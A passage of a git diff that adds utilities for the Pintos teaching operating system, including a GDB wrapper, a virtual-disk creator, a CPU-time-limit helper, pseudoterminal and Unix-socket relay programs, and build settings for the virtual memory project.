+ print STDERR "warning: setitimer-helper is not installed, so ",
+ "CPU time limit will not be enforced\n";
+ }
+ }
+ exec (@_);
+ exit (1);
+}
+
+sub SIGVTALRM {
+ use Config;
+ my $i = 0;
+ foreach my $name (split(' ', $Config{sig_name})) {
+ return $i if $name eq 'VTALRM';
+ $i++;
+ }
+ return 0;
+}
+
+# find_in_path ($program)
+#
+# Searches for $program in $ENV{PATH}.
+# Returns $program if found, otherwise undef.
+sub find_in_path {
+ my ($program) = @_;
+ -x "$_/$program" and return $program foreach split (':', $ENV{PATH});
+ return;
+}
diff --git a/src/utils/pintos-gdb b/src/utils/pintos-gdb
new file mode 100644
index 0000000..4ef38d3
--- /dev/null
+++ b/src/utils/pintos-gdb
@@ -0,0 +1,20 @@
+#! /bin/sh
+
+# Path to GDB macros file. Customize for your site.
+GDBMACROS=/usr/class/cs140/pintos/pintos/src/misc/gdb-macros
+
+# Choose correct GDB.
+if command -v i386-elf-gdb >/dev/null 2>&1; then
+ GDB=i386-elf-gdb
+else
+ GDB=gdb
+fi
+
+# Run GDB.
+if test -f "$GDBMACROS"; then
+ exec $GDB -x "$GDBMACROS" "$@"
+else
+ echo "*** $GDBMACROS does not exist ***"
+ echo "*** Pintos GDB macros will not be available ***"
+ exec $GDB "$@"
+fi
diff --git a/src/utils/pintos-mkdisk b/src/utils/pintos-mkdisk
new file mode 100644
index 0000000..662b2e5
--- /dev/null
+++ b/src/utils/pintos-mkdisk
@@ -0,0 +1,37 @@
+#! /usr/bin/perl
+
+use strict;
+use warnings;
+use POSIX;
+use Getopt::Long;
+use Fcntl 'SEEK_SET';
+
+GetOptions ("h|help" => sub { usage (0); })
+ or exit 1;
+usage (1) if @ARGV != 2;
+
+my ($disk, $mb) = @ARGV;
+die "$disk: already exists\n" if -e $disk;
+die "\"$mb\" is not a valid size in megabytes\n"
+ if $mb <= 0 || $mb > 1024 || $mb !~ /^\d+(\.\d+)?|\.\d+/;
+
+my ($cyl_cnt) = ceil ($mb * 2);
+my ($cyl_bytes) = 512 * 16 * 63;
+my ($bytes) = $cyl_bytes * $cyl_cnt;
+
+open (DISK, '>', $disk) or die "$disk: create: $!\n";
+sysseek (DISK, $bytes - 1, SEEK_SET) or die "$disk: seek: $!\n";
+syswrite (DISK, "\0", 1) == 1 or die "$disk: write: $!\n";
+close (DISK) or die "$disk: close: $!\n";
+
+sub usage {
+ print <<'EOF';
+pintos-mkdisk, a utility for creating Pintos virtual disks
+Usage: pintos DISKFILE MB
+where DISKFILE is the file to use for the disk
+ and MB is the disk size in (approximate) megabytes.
+Options:
+ -h, --help Display this help message.
+EOF
+ exit (@_);
+}
diff --git a/src/utils/setitimer-helper.c b/src/utils/setitimer-helper.c
new file mode 100644
index 0000000..772d736
--- /dev/null
+++ b/src/utils/setitimer-helper.c
@@ -0,0 +1,49 @@
+#include <errno.h>
+#include <limits.h>
+#include <math.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/time.h>
+#include <unistd.h>
+
+int
+main (int argc, char *argv[])
+{
+ const char *program_name = argv[0];
+ double timeout;
+
+ if (argc < 3)
+ {
+ fprintf (stderr,
+ "setitimer-helper: runs a program with a virtual CPU limit\n"
+ "usage: %s TIMEOUT PROGRAM [ARG...]\n"
+ " where TIMEOUT is the virtual CPU limit, in seconds,\n"
+ " and remaining arguments specify the program to run\n"
+ " and its argument.\n",
+ program_name);
+ return EXIT_FAILURE;
+ }
+
+ timeout = strtod (argv[1], NULL);
+ if (timeout >= 0.0 && timeout < LONG_MAX)
+ {
+ struct itimerval it;
+
+ it.it_interval.tv_sec = 0;
+ it.it_interval.tv_usec = 0;
+ it.it_value.tv_sec = timeout;
+ it.it_value.tv_usec = (timeout - floor (timeout)) * 1000000;
+ if (setitimer (ITIMER_VIRTUAL, &it, NULL) < 0)
+ fprintf (stderr, "%s: setitimer: %s\n",
+ program_name, strerror (errno));
+ }
+ else
+ fprintf (stderr, "%s: invalid timeout value \"%s\"\n",
+ program_name, argv[1]);
+
+ execvp (argv[2], &argv[2]);
+ fprintf (stderr, "%s: couldn't exec \"%s\": %s\n",
+ program_name, argv[2], strerror (errno));
+ return EXIT_FAILURE;
+}
diff --git a/src/utils/squish-pty.c b/src/utils/squish-pty.c
new file mode 100644
index 0000000..c8375a5
--- /dev/null
+++ b/src/utils/squish-pty.c
@@ -0,0 +1,355 @@
+#define _GNU_SOURCE 1
+#include <errno.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stropts.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <termios.h>
+#include <unistd.h>
+
+static void
+fail_io (const char *msg, ...)
+ __attribute__ ((noreturn))
+ __attribute__ ((format (printf, 1, 2)));
+
+/* Prints MSG, formatting as with printf(),
+ plus an error message based on errno,
+ and exits. */
+static void
+fail_io (const char *msg, ...)
+{
+ va_list args;
+
+ va_start (args, msg);
+ vfprintf (stderr, msg, args);
+ va_end (args);
+
+ if (errno != 0)
+ fprintf (stderr, ": %s", strerror (errno));
+ putc ('\n', stderr);
+ exit (EXIT_FAILURE);
+}
+
+/* If FD is a terminal, configures it for noncanonical input mode
+ with VMIN and VTIME set as indicated.
+ If FD is not a terminal, has no effect. */
+static void
+make_noncanon (int fd, int vmin, int vtime)
+{
+ if (isatty (fd))
+ {
+ struct termios termios;
+ if (tcgetattr (fd, &termios) < 0)
+ fail_io ("tcgetattr");
+ termios.c_lflag &= ~(ICANON | ECHO);
+ termios.c_cc[VMIN] = vmin;
+ termios.c_cc[VTIME] = vtime;
+ if (tcsetattr (fd, TCSANOW, &termios) < 0)
+ fail_io ("tcsetattr");
+ }
+}
+
+/* Make FD non-blocking if NONBLOCKING is true,
+ or blocking if NONBLOCKING is false. */
+static void
+make_nonblocking (int fd, bool nonblocking)
+{
+ int flags = fcntl (fd, F_GETFL);
+ if (flags < 0)
+ fail_io ("fcntl");
+ if (nonblocking)
+ flags |= O_NONBLOCK;
+ else
+ flags &= ~O_NONBLOCK;
+ if (fcntl (fd, F_SETFL, flags) < 0)
+ fail_io ("fcntl");
+}
+
+/* Handle a read or write on *FD, which is the pty if FD_IS_PTY
+ is true, that returned end-of-file or error indication RETVAL.
+ The system call is named CALL, for use in error messages.
+ Returns true if processing may continue, false if we're all
+ done. */
+static bool
+handle_error (ssize_t retval, int *fd, bool fd_is_pty, const char *call)
+{
+ if (fd_is_pty)
+ {
+ if (retval < 0)
+ {
+ if (errno == EIO)
+ {
+ /* Slave side of pty has been closed. */
+ return false;
+ }
+ else
+ fail_io (call);
+ }
+ else
+ return true;
+ }
+ else
+ {
+ if (retval == 0)
+ {
+ close (*fd);
+ *fd = -1;
+ return true;
+ }
+ else
+ fail_io (call);
+ }
+}
+
+/* Copies data from stdin to PTY and from PTY to stdout until no
+ more data can be read or written. */
+static void
+relay (int pty, int dead_child_fd)
+{
+ struct pipe
+ {
+ int in, out;
+ char buf[BUFSIZ];
+ size_t size, ofs;
+ bool active;
+ };
+ struct pipe pipes[2];
+
+ /* Make PTY, stdin, and stdout non-blocking. */
+ make_nonblocking (pty, true);
+ make_nonblocking (STDIN_FILENO, true);
+ make_nonblocking (STDOUT_FILENO, true);
+
+ /* Configure noncanonical mode on PTY and stdin to avoid
+ waiting for end-of-line. We want to minimize context
+ switching on PTY (for efficiency) and minimize latency on
+ stdin to avoid a laggy user experience. */
+ make_noncanon (pty, 16, 1);
+ make_noncanon (STDIN_FILENO, 1, 0);
+
+ memset (pipes, 0, sizeof pipes);
+ pipes[0].in = STDIN_FILENO;
+ pipes[0].out = pty;
+ pipes[1].in = pty;
+ pipes[1].out = STDOUT_FILENO;
+
+ while (pipes[0].in != -1 || pipes[1].in != -1)
+ {
+ fd_set read_fds, write_fds;
+ int retval;
+ int i;
+
+ FD_ZERO (&read_fds);
+ FD_ZERO (&write_fds);
+ for (i = 0; i < 2; i++)
+ {
+ struct pipe *p = &pipes[i];
+
+ /* Don't do anything with the stdin->pty pipe until we
+ have some data for the pty->stdout pipe. If we get
+ too eager, Bochs will throw away our input. */
+ if (i == 0 && !pipes[1].active)
+ continue;
+
+ if (p->in != -1 && p->size + p->ofs < sizeof p->buf)
+ FD_SET (p->in, &read_fds);
+ if (p->out != -1 && p->size > 0)
+ FD_SET (p->out, &write_fds);
+ }
+ FD_SET (dead_child_fd, &read_fds);
+
+ do
+ {
+ retval = select (FD_SETSIZE, &read_fds, &write_fds, NULL, NULL);
+ }
+ while (retval < 0 && errno == EINTR);
+ if (retval < 0)
+ fail_io ("select");
+
+ if (FD_ISSET (dead_child_fd, &read_fds))
+ {
+ /* Child died. Do final relaying. */
+ struct pipe *p = &pipes[1];
+ if (p->out == -1)
+ return;
+ make_nonblocking (STDOUT_FILENO, false);
+ for (;;)
+ {
+ ssize_t n;
+
+ /* Write buffer. */
+ while (p->size > 0)
+ {
+ n = write (p->out, p->buf + p->ofs, p->size);
+ if (n < 0)
+ fail_io ("write");
+ else if (n == 0)
+ fail_io ("zero-length write");
+ p->ofs += n;
+ p->size -= n;
+ }
+ p->ofs = 0;
+
+ p->size = n = read (p->in, p->buf, sizeof p->buf);
+ if (n <= 0)
+ return;
+ }
+ }
+
+ for (i = 0; i < 2; i++)
+ {
+ struct pipe *p = &pipes[i];
+ if (p->in != -1 && FD_ISSET (p->in, &read_fds))
+ {
+ ssize_t n = read (p->in, p->buf + p->ofs + p->size,
+ sizeof p->buf - p->ofs - p->size);
+ if (n > 0)
+ {
+ p->active = true;
+ p->size += n;
+ if (p->size == BUFSIZ && p->ofs != 0)
+ {
+ memmove (p->buf, p->buf + p->ofs, p->size);
+ p->ofs = 0;
+ }
+ }
+ else if (!handle_error (n, &p->in, p->in == pty, "read"))
+ return;
+ }
+ if (p->out != -1 && FD_ISSET (p->out, &write_fds))
+ {
+ ssize_t n = write (p->out, p->buf + p->ofs, p->size);
+ if (n > 0)
+ {
+ p->ofs += n;
+ p->size -= n;
+ if (p->size == 0)
+ p->ofs = 0;
+ }
+ else if (!handle_error (n, &p->out, p->out == pty, "write"))
+ return;
+ }
+ }
+ }
+}
+
+static int dead_child_fd;
+
+static void
+sigchld_handler (int signo __attribute__ ((unused)))
+{
+ if (write (dead_child_fd, "", 1) < 0)
+ _exit (1);
+}
+
+int
+main (int argc __attribute__ ((unused)), char *argv[])
+{
+ int master, slave;
+ char *name;
+ pid_t pid;
+ struct sigaction sa;
+ int pipe_fds[2];
+ struct itimerval zero_itimerval, old_itimerval;
+
+ if (argc < 2)
+ {
+ fprintf (stderr,
+ "usage: squish-pty COMMAND [ARG]...\n"
+ "Squishes both stdin and stdout into a single pseudoterminal,\n"
+ "which is passed as stdout to run the specified COMMAND.\n");
+ return EXIT_FAILURE;
+ }
+
+ /* Open master side of pty and get ready to open slave. */
+ master = open ("/dev/ptmx", O_RDWR | O_NOCTTY);
+ if (master < 0)
+ fail_io ("open \"/dev/ptmx\"");
+ if (grantpt (master) < 0)
+ fail_io ("grantpt");
+ if (unlockpt (master) < 0)
+ fail_io ("unlockpt");
+
+ /* Open slave side of pty. */
+ name = ptsname (master);
+ if (name == NULL)
+ fail_io ("ptsname");
+ slave = open (name, O_RDWR);
+ if (slave < 0)
+ fail_io ("open \"%s\"", name);
+
+ /* System V implementations need STREAMS configuration for the
+ slave. */
+ if (isastream (slave))
+ {
+ if (ioctl (slave, I_PUSH, "ptem") < 0
+ || ioctl (slave, I_PUSH, "ldterm") < 0)
+ fail_io ("ioctl");
+ }
+
+ /* Arrange to get notified when a child dies, by writing a byte
+ to a pipe fd. We really want to use pselect() and
+ sigprocmask(), but Solaris 2.7 doesn't have it. */
+ if (pipe (pipe_fds) < 0)
+ fail_io ("pipe");
+ dead_child_fd = pipe_fds[1];
+
+ memset (&sa, 0, sizeof sa);
+ sa.sa_handler = sigchld_handler;
+ sigemptyset (&sa.sa_mask);
+ sa.sa_flags = SA_RESTART;
+ if (sigaction (SIGCHLD, &sa, NULL) < 0)
+ fail_io ("sigaction");
+
+ /* Save the virtual interval timer, which might have been set
+ by the process that ran us. It really should be applied to
+ our child process. */
+ memset (&zero_itimerval, 0, sizeof zero_itimerval);
+ if (setitimer (ITIMER_VIRTUAL, &zero_itimerval, &old_itimerval) < 0)
+ fail_io ("setitimer");
+
+ pid = fork ();
+ if (pid < 0)
+ fail_io ("fork");
+ else if (pid != 0)
+ {
+ /* Running in parent process. */
+ int status;
+ close (slave);
+ relay (master, pipe_fds[0]);
+
+ /* If the subprocess has died, die in the same fashion.
+ In particular, dying from SIGVTALRM tells the pintos
+ script that we ran out of CPU time. */
+ if (waitpid (pid, &status, WNOHANG) > 0)
+ {
+ if (WIFEXITED (status))
+ return WEXITSTATUS (status);
+ else if (WIFSIGNALED (status))
+ raise (WTERMSIG (status));
+ }
+ return 0;
+ }
+ else
+ {
+ /* Running in child process. */
+ if (setitimer (ITIMER_VIRTUAL, &old_itimerval, NULL) < 0)
+ fail_io ("setitimer");
+ if (dup2 (slave, STDOUT_FILENO) < 0)
+ fail_io ("dup2");
+ if (close (pipe_fds[0]) < 0 || close (pipe_fds[1]) < 0
+ || close (slave) < 0 || close (master) < 0)
+ fail_io ("close");
+ execvp (argv[1], argv + 1);
+ fail_io ("exec");
+ }
+}
diff --git a/src/utils/squish-unix.c b/src/utils/squish-unix.c
new file mode 100644
index 0000000..9d9aa42
--- /dev/null
+++ b/src/utils/squish-unix.c
@@ -0,0 +1,354 @@
+#define _GNU_SOURCE 1
+#include <errno.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stropts.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <termios.h>
+#include <unistd.h>
+
+
+/* AF_LOCAL is not defined on solaris */
+#if !defined(AF_LOCAL)
+#define AF_LOCAL AF_UNIX
+#endif
+#if !defined(PF_LOCAL)
+#define PF_LOCAL PF_UNIX
+#endif
+
+
+/* solaris doesn't have SUN_LEN */
+//#ifndef SUN_LEN
+//#define SUN_LEN(sa) ( strlen((sa)->sun_path) + \
+// (size_t)(((struct sockaddr_un*)0)->sun_path) )
+//#endif
+
+static void
+fail_io (const char *msg, ...)
+ __attribute__ ((noreturn))
+ __attribute__ ((format (printf, 1, 2)));
+
+/* Prints MSG, formatting as with printf(),
+ plus an error message based on errno,
+ and exits. */
+static void
+fail_io (const char *msg, ...)
+{
+ va_list args;
+
+ va_start (args, msg);
+ vfprintf (stderr, msg, args);
+ va_end (args);
+
+ if (errno != 0)
+ fprintf (stderr, ": %s", strerror (errno));
+ putc ('\n', stderr);
+ exit (EXIT_FAILURE);
+}
+
+/* If FD is a terminal, configures it for noncanonical input mode
+ with VMIN and VTIME set as indicated.
+ If FD is not a terminal, has no effect. */
+static void
+make_noncanon (int fd, int vmin, int vtime)
+{
+ if (isatty (fd))
+ {
+ struct termios termios;
+ if (tcgetattr (fd, &termios) < 0)
+ fail_io ("tcgetattr");
+ termios.c_lflag &= ~(ICANON | ECHO);
+ termios.c_cc[VMIN] = vmin;
+ termios.c_cc[VTIME] = vtime;
+ if (tcsetattr (fd, TCSANOW, &termios) < 0)
+ fail_io ("tcsetattr");
+ }
+}
+
+/* Make FD non-blocking if NONBLOCKING is true,
+ or blocking if NONBLOCKING is false. */
+static void
+make_nonblocking (int fd, bool nonblocking)
+{
+ int flags = fcntl (fd, F_GETFL);
+ if (flags < 0)
+ fail_io ("fcntl");
+ if (nonblocking)
+ flags |= O_NONBLOCK;
+ else
+ flags &= ~O_NONBLOCK;
+ if (fcntl (fd, F_SETFL, flags) < 0)
+ fail_io ("fcntl");
+}
+
+/* Handle a read or write on *FD, which is the socket if
+ FD_IS_SOCK is true, that returned end-of-file or error
+ indication RETVAL. The system call is named CALL, for use in
+ error messages. Returns true if processing may continue,
+ false if we're all done. */
+static bool
+handle_error (ssize_t retval, int *fd, bool fd_is_sock, const char *call)
+{
+ if (retval == 0)
+ {
+ if (fd_is_sock)
+ return false;
+ else
+ {
+ *fd = -1;
+ return true;
+ }
+ }
+ else
+ fail_io (call);
+}
+
+/* Copies data from stdin to SOCK and from SOCK to stdout until no
+ more data can be read or written. */
+static void
+relay (int sock)
+{
+ struct pipe
+ {
+ int in, out;
+ char buf[BUFSIZ];
+ size_t size, ofs;
+ bool active;
+ };
+ struct pipe pipes[2];
+
+ /* In case stdin is a file, go back to the beginning.
+ This allows replaying the input on reset. */
+ lseek (STDIN_FILENO, 0, SEEK_SET);
+
+ /* Make SOCK, stdin, and stdout non-blocking. */
+ make_nonblocking (sock, true);
+ make_nonblocking (STDIN_FILENO, true);
+ make_nonblocking (STDOUT_FILENO, true);
+
+ /* Configure noncanonical mode on stdin to avoid waiting for
+ end-of-line. */
+ make_noncanon (STDIN_FILENO, 1, 0);
+
+ memset (pipes, 0, sizeof pipes);
+ pipes[0].in = STDIN_FILENO;
+ pipes[0].out = sock;
+ pipes[1].in = sock;
+ pipes[1].out = STDOUT_FILENO;
+
+ while (pipes[0].in != -1 || pipes[1].in != -1
+ || (pipes[1].size && pipes[1].out != -1))
+ {
+ fd_set read_fds, write_fds;
+ sigset_t empty_set;
+ int retval;
+ int i;
+
+ FD_ZERO (&read_fds);
+ FD_ZERO (&write_fds);
+ for (i = 0; i < 2; i++)
+ {
+ struct pipe *p = &pipes[i];
+
+ /* Don't do anything with the stdin->sock pipe until we
+ have some data for the sock->stdout pipe. If we get
+ too eager, vmplayer will throw away our input. */
+ if (i == 0 && !pipes[1].active)
+ continue;
+
+ if (p->in != -1 && p->size + p->ofs < sizeof p->buf)
+ FD_SET (p->in, &read_fds);
+ if (p->out != -1 && p->size > 0)
+ FD_SET (p->out, &write_fds);
+ }
+ sigemptyset (&empty_set);
+ retval = pselect (FD_SETSIZE, &read_fds, &write_fds, NULL, NULL,
+ &empty_set);
+ if (retval < 0)
+ {
+ if (errno == EINTR)
+ {
+ /* Child died. Do final relaying. */
+ struct pipe *p = &pipes[1];
+ if (p->out == -1)
+ exit (0);
+ make_nonblocking (STDOUT_FILENO, false);
+ for (;;)
+ {
+ ssize_t n;
+
+ /* Write buffer. */
+ while (p->size > 0)
+ {
+ n = write (p->out, p->buf + p->ofs, p->size);
+ if (n < 0)
+ fail_io ("write");
+ else if (n == 0)
+ fail_io ("zero-length write");
+ p->ofs += n;
+ p->size -= n;
+ }
+ p->ofs = 0;
+
+ p->size = n = read (p->in, p->buf, sizeof p->buf);
+ if (n <= 0)
+ exit (0);
+ }
+ }
+ fail_io ("select");
+ }
+
+ for (i = 0; i < 2; i++)
+ {
+ struct pipe *p = &pipes[i];
+ if (p->in != -1 && FD_ISSET (p->in, &read_fds))
+ {
+ ssize_t n = read (p->in, p->buf + p->ofs + p->size,
+ sizeof p->buf - p->ofs - p->size);
+ if (n > 0)
+ {
+ p->active = true;
+ p->size += n;
+ if (p->size == BUFSIZ && p->ofs != 0)
+ {
+ memmove (p->buf, p->buf + p->ofs, p->size);
+ p->ofs = 0;
+ }
+ }
+ else if (!handle_error (n, &p->in, p->in == sock, "read"))
+ return;
+ }
+ if (p->out != -1 && FD_ISSET (p->out, &write_fds))
+ {
+ ssize_t n = write (p->out, p->buf + p->ofs, p->size);
+ if (n > 0)
+ {
+ p->ofs += n;
+ p->size -= n;
+ if (p->size == 0)
+ p->ofs = 0;
+ }
+ else if (!handle_error (n, &p->out, p->out == sock, "write"))
+ return;
+ }
+ }
+ }
+}
+
+static void
+sigchld_handler (int signo __attribute__ ((unused)))
+{
+ /* Nothing to do. */
+}
+
+int
+main (int argc __attribute__ ((unused)), char *argv[])
+{
+ pid_t pid;
+ struct itimerval zero_itimerval;
+ struct sockaddr_un vsun;
+ sigset_t sigchld_set;
+ int sock;
+
+ if (argc < 3)
+ {
+ fprintf (stderr,
+ "usage: squish-unix SOCKET COMMAND [ARG]...\n"
+ "Squishes both stdin and stdout into a single Unix domain\n"
+ "socket named SOCKET, and runs COMMAND as a subprocess.\n");
+ return EXIT_FAILURE;
+ }
+
+ /* Create socket. */
+ sock = socket (PF_LOCAL, SOCK_STREAM, 0);
+ if (sock < 0)
+ fail_io ("socket");
+
+ /* Configure socket. */
+ vsun.sun_family = AF_LOCAL;
+ strncpy (vsun.sun_path, argv[1], sizeof vsun.sun_path);
+ vsun.sun_path[sizeof vsun.sun_path - 1] = '\0';
+ if (unlink (vsun.sun_path) < 0 && errno != ENOENT)
+ fail_io ("unlink");
+ if (bind (sock, (struct sockaddr *) &vsun,
+ (offsetof (struct sockaddr_un, sun_path)
+ + strlen (vsun.sun_path) + 1)) < 0)
+ fail_io ("bind");
+
+ /* Listen on socket. */
+ if (listen (sock, 1) < 0)
+ fail_io ("listen");
+
+ /* Block SIGCHLD and set up a handler for it. */
+ sigemptyset (&sigchld_set);
+ sigaddset (&sigchld_set, SIGCHLD);
+ if (sigprocmask (SIG_BLOCK, &sigchld_set, NULL) < 0)
+ fail_io ("sigprocmask");
+ if (signal (SIGCHLD, sigchld_handler) == SIG_ERR)
+ fail_io ("signal");
+
+ /* Save the virtual interval timer, which might have been set
+ by the process that ran us. It really should be applied to
+ our child process. */
+ memset (&zero_itimerval, 0, sizeof zero_itimerval);
+ if (setitimer (ITIMER_VIRTUAL, &zero_itimerval, NULL) < 0)
+ fail_io ("setitimer");
+
+ pid = fork ();
+ if (pid < 0)
+ fail_io ("fork");
+ else if (pid != 0)
+ {
+ /* Running in parent process. */
+ make_nonblocking (sock, true);
+ for (;;)
+ {
+ fd_set read_fds;
+ sigset_t empty_set;
+ int retval;
+ int conn;
+
+ /* Wait for connection. */
+ FD_ZERO (&read_fds);
+ FD_SET (sock, &read_fds);
+ sigemptyset (&empty_set);
+ retval = pselect (sock + 1, &read_fds, NULL, NULL, NULL, &empty_set);
+ if (retval < 0)
+ {
+ if (errno == EINTR)
+ break;
+ fail_io ("select");
+ }
+
+ /* Accept connection. */
+ conn = accept (sock, NULL, NULL);
+ if (conn < 0)
+ fail_io ("accept");
+
+ /* Relay connection. */
+ relay (conn);
+ close (conn);
+ }
+ return 0;
+ }
+ else
+ {
+ /* Running in child process. */
+ if (close (sock) < 0)
+ fail_io ("close");
+ execvp (argv[2], argv + 2);
+ fail_io ("exec");
+ }
+}
diff --git a/src/vm/.cvsignore b/src/vm/.cvsignore
new file mode 100644
index 0000000..6d5357c
--- /dev/null
+++ b/src/vm/.cvsignore
@@ -0,0 +1,3 @@
+build
+bochsrc.txt
+bochsout.txt
diff --git a/src/vm/Make.vars b/src/vm/Make.vars
new file mode 100644
index 0000000..a5ea6b0
--- /dev/null
+++ b/src/vm/Make.vars
@@ -0,0 +1,7 @@
+# -*- makefile -*-
+
+os.dsk: DEFINES = -DUSERPROG -DFILESYS -DVM
+KERNEL_SUBDIRS = threads devices lib lib/kernel userprog filesys vm
+TEST_SUBDIRS = tests/userprog tests/vm tests/filesys/base
+GRADING_FILE = $(SRCDIR)/tests/vm/Grading
+SIMULATOR = --qemu
diff --git a/src/vm/Makefile b/src/vm/Makefile
new file mode 100644
index 0000000..34c10aa
--- /dev/null
+++ b/src/vm/Makefile
@@ -0,0 +1 @@
+include ../Makefile.kernel